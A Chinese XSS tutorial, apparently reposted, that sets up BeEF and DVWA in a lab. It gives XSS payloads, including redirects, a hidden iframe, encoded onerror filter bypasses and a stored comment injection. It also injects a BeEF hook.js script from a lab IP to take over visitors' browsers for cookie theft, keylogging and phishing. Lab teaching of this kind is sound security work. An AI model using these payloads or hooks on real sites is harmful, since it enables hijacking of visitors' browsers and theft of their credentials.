XSS攻击与防御

目录

一、环境配置

kali安装beef

contos7安装dvwa

二、XSS攻击简介

三、XSS攻击的危害

四、xSS攻击的分类

五、XSS产生的原因

六、构造XSS攻击脚本

(一)基础知识

常用的html标签

常用的js脚本

(二)构造脚本的方式弹窗警告

七、自动XSS攻击

(一)BeEF简介

(二)BeEF功能

(三)利用BeEF自动XSS攻击


一、环境配置

kali安装beef

1更新系统软件包列表:apt update

2.安装BeEF的依赖软件包。 apt install beef-xss

3.启动BeEF服务。beef-xss

4.在浏览器中输入以下网址以访问BeEF控制台。http://localhost:3000/ui/panel

contos7安装dvwa

1.更新系统软件包。yum update

2.安装Docker的依赖项。 yum install -y yum-utils device-mapper-persistent-data lvm2

3.添加Docker的软件源。

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

4.安装Docker。yum install docker-ce

5.启动Docker服务并设置开机自启。

systemctl start docker systemctl enable docker

6.下载DVWA的Docker镜像。docker pull citizenstig/dvwa

7.创建DVWA的Docker容器。

[root@lucky ~]# docker run --name dvwa4 -d -p 8088:80 -p 3306:3306 citizenstig/dvwa

二、XSS攻击简介

(—) oWASP TOP 10之—,XSS被称为跨站脚本攻击(Cross-site-scripting)

(二)主要基于java script (JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

(三)XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。

(四)微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

三、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料4、非法转账 5、强制发送电子邮件 6、网站挂马 让更多人的受害 7、控制受害者机器向其它网站发起攻击

四、xSS攻击的分类

反射型 非持久性跨站点脚本攻击 攻击是一次性的,仅对当次的页面访问产生影响

存储型 持久型跨站点脚本 攻击者的数据存储在服务器端,攻击行为将伴随看攻屯数据一直存在

DOM型 既可能是反射型的,也有可能是存储型的 基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

 

 存储型xss攻击流程

五、XSS产生的原因

Web应用对用户输入过滤不严谨

攻击者写入恶意的脚本代码到网页中

用户访问了含有恶意代码的网页

恶意脚本就会被浏览器解析执行并导致用户被攻击

六、构造XSS攻击脚本

(一)基础知识

常用的html标签
<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea> textarea标签定义多行的文本输入控件<img>img标签向网页中嵌入一幅图像
<script> script标签用于定义客户端脚本,比如Javascript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件必需的type属性规定脚本的类型。
avascript的常见应用是图像操作、表单验证以及动态内容更新
常用的js脚本

alert :alert方法用于显示带有一条指定消息和一个确认按钮的警告框

window,location:window.locatign对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面 location.href:返回当前显示的文档的完整URL

onload:一张页面或一幅图像完成加载

onsubmit:一个按钮被点击

onerror:在加载文档或图像时发生错误

(二)构造脚本的方式弹窗警告

弹窗警告

<script>alert(1)</script>

 

 页面嵌套

<iframe style="overflow:hidden;width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:Opx;padding:0px;"src="http://192.168.198.130:8088/"></iframe>

  页面重定向

<script> window.location= "https://www.baidu.com/" </script>

</script><script>location.href= "https://www.baidu.com/"</script>

弹窗警告并重定向

<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>

图片标签利用

图像标签,有一定的隐蔽性
<img src=“#” onerror= alert('欢迎来钓鱼')>

绕开过滤的脚本

大小写<ScrIpt>alert('xss')</SCRipt>
字符编码字符编码采用URL、Base64、HTML等编码<img src=x                         οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">  

存储型xss基本演示

This is a<script>alert(1)</script>test comment 

访问恶意代码(网站种马)

七、自动XSS攻击

(一)BeEF简介

Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行 渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单

官网:BeEF - The Browser Exploitation Framework Project

(二)BeEF功能

信息收集   持久化控制   社会工程  渗透攻击
网络发现 确认弹框点击劫持 内网渗透
主机信息 小窗口弹窗警告 Metasploit
Cookie获取 中间人 虚假页面   CSRF攻击
会话劫持钓鱼页面DDOS攻击
键盘记录
插件信息

(三)利用BeEF自动XSS攻击

1、kali中启动BeEF

2、登录BeEF: http://192.168.198.133:3000/ui/panel 用户名beef 密码123456

3、在dvwa网站中植入xSS

DVWA植入XSS

DVWA清空缓存

<script src="http://192.168.198.133:3000/hook.js"></script>

修改maxlength=“500”

4、其他机器访问被攻击页面dvwa的页面

本机访问,变成肉机,上线

5、社工攻击范例

命令的颜色区别

绿色对目标主机生效并且不可见(不会被发现)

获得肉机的正在运行的页面

橙色对目标主机生效但可能可见(可能被发现)

灰色对目标主机未必生效(可验证下)

红色对目标主机不生效

可以看出dvwa的账号和密码 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/91040.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

亲测influxdb安装为window后台服务

InfluxDB 安装 64bit&#xff1a;https://dl.influxdata.com/influxdb/releases/influxdb-1.7.4_windows_amd64.zip 解压安装包 修改配置文件 [meta]# Where the metadata/raft database is storeddir "D:/influxdb/meta"...[data]# The directory where the TSM…

容器内执行命令

上篇文章向读者介绍了一个Nginx的例子&#xff0c;对于Nginx这样一个容器而言&#xff0c;当它启动成功后&#xff0c;我们不可避免的需要对Nginx进行的配置进行修改&#xff0c;那么这个修改要如何完成呢&#xff1f;且看下文。 依附容器 docker attach 依附容器这个主要是…

3D姿态相关的损失函数

loss_mpjpe: 计算预测3D关键点与真值之间的平均距离误差(MPJPE)。 loss_n_mpjpe: 计算去除尺度后预测3D关键点误差(N-MPJPE),评估结构误差。 loss_velocity: 计算3D关键点的速度/移动的误差,评估运动的平滑程度。 loss_limb_var: 计算肢体长度的方差,引导生成合理的肢体长度…

最新人工智能源码搭建部署教程/ChatGPT程序源码/AI系统/H5端+微信公众号版本源码

一、AI系统 如何搭建部署人工智能源码、AI创作系统、ChatGPT系统呢&#xff1f;小编这里写一个详细图文教程吧&#xff01; SparkAi使用Nestjs和Vue3框架技术&#xff0c;持续集成AI能力到AIGC系统&#xff01; 1.1 程序核心功能 程序已支持ChatGPT3.5/GPT-4提问、AI绘画、…

Python加入Excel--生产力大提高|微软的全方面办公

Python作为一种功能强大的编程语言&#xff0c;已经逐渐成为了数据分析、机器学习、Web开发等领域的主流语言之一。而将Python集成到Excel中&#xff0c;则可以为Excel用户提供更加强大的数据处理和分析能力&#xff0c;同时也可以为Python开发者提供更加便捷的数据处理和可视化…

Mysql 基本概念

数据库的组成 数据 数据是描述事务的符号记录&#xff1b;包括数字、文字、图形、图像、声音、档案记录等 以“记录“形式按统一的格式进行存储 表 将不同的记录以行和列的方式组合成了表 用来存储具体数据 数据库 它就是所有不同属性表的集合 以一定的组织方式存储的…

【随笔】- 程序员的40岁后健身计划

【随笔】- 40岁后程序员的健身计划 文章目录 【随笔】- 40岁后程序员的健身计划一、树立健身信心&#xff0c;制订坚持计划二、挑选让你舒适的方式三、调整速度&#xff0c;以间歇式训练为主四、刚开始锻炼&#xff0c;别求太快五、增加力量、柔韧性和平衡练习六、运动多样化七…

三极管NPN、PNP的区别及简单应用

目录 一、NPN、PNP三极管的概念 二、NPN、PNP三极管的区别 三、三极管NPN、PNP的简单应用 一、NPN、PNP三极管的概念 NPN型三极管&#xff1a; 由两块N型半导体和一块P型半导体组成&#xff0c;P型半导体在中间&#xff0c;两块N型半导体在两侧。 三极管是电子电路中最重要的…

低通滤波器和高通滤波器

应用于图像低通滤波器和高通滤波器的实现 需要用到傅里叶变换 #include <opencv2/opencv.hpp> #include <Eigen> #include <iostream> #include <vector> #include <cmath> #include <complex>#define M_PI 3.14159265358979323846…

【C语言】喝汽水问题

大家好&#xff01;今天我们来学习C语言中的喝汽水问题&#xff01; 目录 1. 题目内容&#xff1a; 2. 思路分析 2.1 方法一 2.2 方法二 2.3 方法三 3. 代码实现 3.1 方法一 3.2 方法二 3.3 方法三 1. 题目内容 喝汽水&#xff0c;1瓶汽水1元&#xff0c;2个空瓶可以…

Nacos配置管理服务

统一配置管理 功能&#xff1a;对配置文件相同的微服务进行配置文件的统一管理。 统一配置管理是解决场景&#xff1a;普通情况下&#xff0c;多个相同功能的微服务实例&#xff0c;更改配置的话得一个一个更改后重启的情况。 核心配置放在配置管理服务中&#xff0c;启动时…

隐秘的角落:Java连接Oracle提示Connection timed out

前言 这个报错相信各位后端开发都不陌生&#xff0c;大体的原因就那么几种&#xff1a; 检查网络连接&#xff1a;确保您的计算机与数据库服务器之间的网络连接正常。尝试通过其他方式验证您的网络连接是否正常。 检查数据库服务器状态&#xff1a;确保数据库服务器正在运行&…

研磨设计模式day09原型模式

目录 场景 代码实现 有何问题 解决方案 代码改造 模式讲解 原型与new 原型实例与克隆出来的实例 浅度克隆和深度克隆 原型模式的优缺点 思考 何时选用&#xff1f; 相关模式 场景 代码实现 定义订单接口 package com.zsp.bike.day08原型模式;/*** 订单的接口*…

计算机msvcp120.dll丢失的解决方法,非常靠谱的三个解决方法

今天&#xff0c;我将为大家分享一个关于电脑报错msvcp120.dll解决方法的话题。在日常生活中&#xff0c;我们可能会遇到这样的问题&#xff1a;电脑突然出现“程序无法正常运行”的提示&#xff0c;然后要求我们重新安装某个软件或者升级系统。这时候&#xff0c;我们很可能会…

【C++】做一个飞机空战小游戏(十一)——游戏过关、通关、结束的设置

[导读]本系列博文内容链接如下&#xff1a; 【C】做一个飞机空战小游戏(一)——使用getch()函数获得键盘码值 【C】做一个飞机空战小游戏(二)——利用getch()函数实现键盘控制单个字符移动【C】做一个飞机空战小游戏(三)——getch()函数控制任意造型飞机图标移动 【C】做一个飞…

函数的参数传递和返回值-PHP8知识详解

本文学习的是《php8知识详解》中的《函数的参数传递和返回值》。主要包括&#xff1a;向函数传递参数值、向函数传递参数引用、函数的返回值。 1、向函数传递参数值 函数是一段封闭的程序&#xff0c;有时候&#xff0c;程序员需要向函数传递一些数据进行操作。可以接受传入参…

Docker容器与虚拟化技术:Gitlab账户注册

目录 一、实验 1.gitlab 一、实验 1.gitlab (1) 概念 GitLab 是一个用于仓库管理系统的开源项目&#xff0c;使用Git作为代码管理工具&#xff0c;并在此基础上搭建起来的Web服务。 &#xff08;2&#xff09;官网 The DevSecOps Platform | GitLab &#xff08;3&#…

算法笔记:KD树

1 引入原因 K近邻算法需要在整个数据集中搜索和测试数据x最近的k个点&#xff0c;如果一一计算&#xff0c;然后再排序&#xff0c;开销过大 引入KD树的作用就是对KNN搜索和排序的耗时进行改进 2 KD树 2.1 主体思路 以空间换时间&#xff0c;利用训练样本集中的样本点&…

图神经网络与分子表征:番外——基组选择

学过高斯软件的人都知道&#xff0c;我们在撰写输入文件 gjf 时需要准备输入【泛函】和【基组】这两个关键词。 【泛函】敲定计算方法&#xff0c;【基组】则类似格点积分中的密度&#xff0c;与计算精度密切相关。 部分研究人员借用高斯中的一系列基组去包装输入几何信息&am…

Linux线程 --- 生产者消费者模型(C语言)

在学习完线程相关的概念之后&#xff0c;本节来认识一下Linux多线程相关的一个重要模型----“ 生产者消费者模型” 本文参考&#xff1a; Linux多线程生产者与消费者_红娃子的博客-CSDN博客 Linux多线程——生产者消费者模型_linux多线程生产者与消费者_两片空白的博客-CSDN博客…